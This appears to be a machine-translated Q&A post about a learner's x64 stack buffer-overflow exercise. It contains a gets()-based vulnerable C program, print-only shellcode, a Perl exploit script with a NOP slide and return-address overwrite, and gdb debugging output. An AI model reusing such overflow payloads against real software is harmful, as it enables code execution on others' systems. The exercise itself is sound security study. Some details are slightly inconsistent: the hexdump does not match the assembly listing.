我正在关注以下链接中提供的totorials,以了解如何通过缓冲区溢出插入shell代码并将EIP / RIP重定向到正确制作的shell代码,以便将你赢了!字符串打印到stdout :
本教程是关于如何在i386 arch上覆盖EIP以执行shell代码的清晰而全面的解释。唯一的区别是我使用的是x64 arch(EIP - > RIP)。
此处是 stack5.c 程序,需要打印你赢了!才能成功。解决方案是您需要插入shellcode并强制程序执行shellcode,方法是将保存的RIP覆盖到shellcode(或前面的NOP幻灯片)上。
/* stack5-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
asm中的shell代码( stack5shell.asm ):
BITS 64 ; Tell nasm this is 32-bit code.
call mark_below ; Call below the string to instructions
db "you win!", 0x0a, 0x0d ; with newline and carriage return bytes.
mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop rcx ; Pop the return address (string ptr) into rcx.
mov eax, 4 ; Write syscall #.
mov ebx, 1 ; STDOUT file descriptor
mov edx, 10 ; Length of the string
int 0x80 ; Do syscall: write(1, string, 10)
; void _exit(int status);
mov eax, 1 ; Exit syscall #
mov ebx, 0 ; Status = 0
int 0x80 ; Do syscall: exit(0)
在hexdump中使用“nasm -o stack5shell.shell stack5shell.asm”生成的shell代码机器代码:
00000000 eb 15 59 31 c0 b0 04 31 db ff c3 31 d2 b2 08 cd |..Y1...1...1....|
00000010 80 b0 01 ff cb cd 80 e8 e6 ff ff ff 79 6f 75 20 |............you |
00000020 77 69 6e 21 |win!|
00000024
我使用以下perl脚本来测试我的结果(因为我不能在终端上输入任何ascii char,并且程序正在使用fromm stdin来溢出buf []):
#!/usr/bin/env perl
use strict;
use Expect;
my $timeout = 10;
my $executable = "./stack5 ";
my $nop_slide = "\x90" x 68;
my $youwin_shell = "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x08\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";
my $return_address = "\xd0\xdc\xff\xff\xff\x7f";
my $input = $nop_slide.$youwin_shell.$return_address."\n";
my $input_length = length $input;
print("Start run... (input length $input_length) \n\n");
my $exp = Expect->spawn($executable) or die "Cannot spawn cookie-win command \n";
$exp->expect($timeout, ["buf"]);
$exp->send($input);
$exp->soft_close();
perl脚本无法成功生成 you win!输出。
Start run... (input length 111)
buf: ffffdcd0 cookie: ffffdd2c
^ZYH1��H1�H��H1Ҳ^H̀�^AH��̀�����you win!����
当我使用GDB时(如本问题开头提到的2个博文中所述),我似乎已成功正确覆盖了保存的RIP。我的shell代码似乎没有得到执行,所以我对出了什么问题感到困惑:
$ gdb ./stack5
(gdb) list
warning: Source file is more recent than executable.
1 /* stack5-stdin.c *
2 * specially crafted to feed your brain by gera */
3
4 #include <stdio.h>
5
6 int main() {
7 int cookie;
8 char buf[80];
9
10 printf("buf: %08x cookie: %08x\n", &buf, &cookie);
11 gets(buf);
12
13 if (cookie == 0x000d0a00)
14 printf("you loose!\n");
15 }
(gdb) break 15
Breakpoint 1 at 0x4005ff: file stack5.c, line 15.
(gdb) continue
Continuing.
Breakpoint 1, main () at stack5.c:15
warning: Source file is more recent than executable.
15 }
(gdb) backtrace
#0 main () at stack5.c:15
(gdb) info frame 0
Stack frame at 0x7fffffffdd40:
rip = 0x4005ff in main (stack5.c:15); saved rip = 0x7fffffffdcd0
source language c.
Arglist at 0x7fffffffdd30, args:
Locals at 0x7fffffffdd30, Previous frame's sp is 0x7fffffffdd40
Saved registers:
rbp at 0x7fffffffdd30, rip at 0x7fffffffdd38
(gdb) x/120x buf
0x7fffffffdcd0: 0x315915eb 0x3104b0c0 0x31c3ffdb 0xcd08b2d2
0x7fffffffdce0: 0xff01b080 0xe880cdcb 0xffffffe6 0x20756f79
0x7fffffffdcf0: 0x216e6977 0x90909090 0x90909090 0x90909090
0x7fffffffdd00: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd10: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd20: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffdd30: 0x90909090 0x90909090 0xffffdcd0 0x00007fff
我使用了以下编译标志,以便允许堆栈执行shell代码:
# gcc -g -w -ggdb -static -fno-stack-protector -z execstack -c stack5.c -o stack5.o
# gcc stack5.o -Wall -lm -o stack5
# execstack --set-execstack stack5
# execstack stack5
X stack5
我还使用另一个示例C程序测试了shell代码本身,只是为了确保该代码本身没有错误,如this stackoverflow post中所述。
任何人都知道为什么会出错,即使GDB似乎检测到成功覆盖了saven RIP?
任何帮助表示赞赏